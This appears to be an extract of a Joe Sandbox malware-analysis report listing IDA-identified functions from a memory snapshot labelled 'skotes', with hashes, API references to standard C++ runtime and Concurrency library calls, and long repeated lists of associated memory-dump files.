Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 669074368cfe3d1081e469e59dfa08d52b77c0b09c6bd98d63ffa98c8449724a
Instruction ID: 56cdf15981c75a52431b47a1faf9f2f38cd11dbd949ab9f54fc9bbd9fa943184
Opcode Fuzzy Hash: 669074368cfe3d1081e469e59dfa08d52b77c0b09c6bd98d63ffa98c8449724a
Instruction Fuzzy Hash: 813103367016109FCF099F20D885BEDB7AAAFC9720F194279E90A9F355DF30AD058B90

Function 009B2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 009B2D0F

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: d29f36ff0e20ecf35a4378610119621c7a147512051259467dfad92ad6f2d1c2
Instruction ID: 22d7955b98b727b0307d8b4084e822e519d70618b426f1a1609920bebd67124c
Opcode Fuzzy Hash: d29f36ff0e20ecf35a4378610119621c7a147512051259467dfad92ad6f2d1c2
Instruction Fuzzy Hash: BB311875A00309DFCF10DF94CAC1BEE7BB9EB84324F1404AAD945AB286D770A945DBA1

Function 009C13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 009C13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 009C1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 009C147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 009C152A

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 476159fa169275ba2b9c58568df597822c9717732d553ab87552cd90b3345d0e
Instruction ID: 92ceef63c302faa55b8e2459eced6faf579cbaa86c41f984504ff8016b443b7b
Opcode Fuzzy Hash: 476159fa169275ba2b9c58568df597822c9717732d553ab87552cd90b3345d0e
Instruction Fuzzy Hash: 3E319371E006059BCF08DFA8C491AEDFBB5BF89710B14822DE516A7392CB349D41CB95

Function 009ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 009ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 009ABBE4
_xtime_get.LIBCPMT ref: 009ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 009ABC13

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 7108e55fc8ce3e2f9272fe0bc3855f9d8ebd31c58b59c41ff2bacb3002d0792b
Instruction ID: e9ead1594f2fdd9bd059fecc9203e31e3e7a183b7d4f362be03e81bac3030b1d
Opcode Fuzzy Hash: 7108e55fc8ce3e2f9272fe0bc3855f9d8ebd31c58b59c41ff2bacb3002d0792b
Instruction Fuzzy Hash: A4212FB1A00119AFDF00EFA4DC85ABEB7B9EF4A710F100015F501BB251DB74AD419BE0

Function 009B9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 009B9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 009B9CE8
std::bad_exception::bad_exception.LIBCMT ref: 009B9CFE
std::bad_exception::bad_exception.LIBCMT ref: 009B9D6A

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 0248b8ab34c1e9bbf3394dd2728c2219b9ad6a08490c3c71fbc0835f4b72add1
Instruction ID: 55b57020a7d5fa64c02e9796cdfdd84ffd57c878f0c6eec4b806b06fca5a1bef
Opcode Fuzzy Hash: 0248b8ab34c1e9bbf3394dd2728c2219b9ad6a08490c3c71fbc0835f4b72add1
Instruction Fuzzy Hash: E221D6719052149FCB05EFA5D682EEDBBF4AFC5324B20402AF201AB2A1DF31AD01CB51

Function 009BA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 009BA069

Part of subcall function 009BB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 009BB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 009BA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 009BA0CB

Part of subcall function 009BAB41: List.LIBCONCRT ref: 009BAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 009BA0DB

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
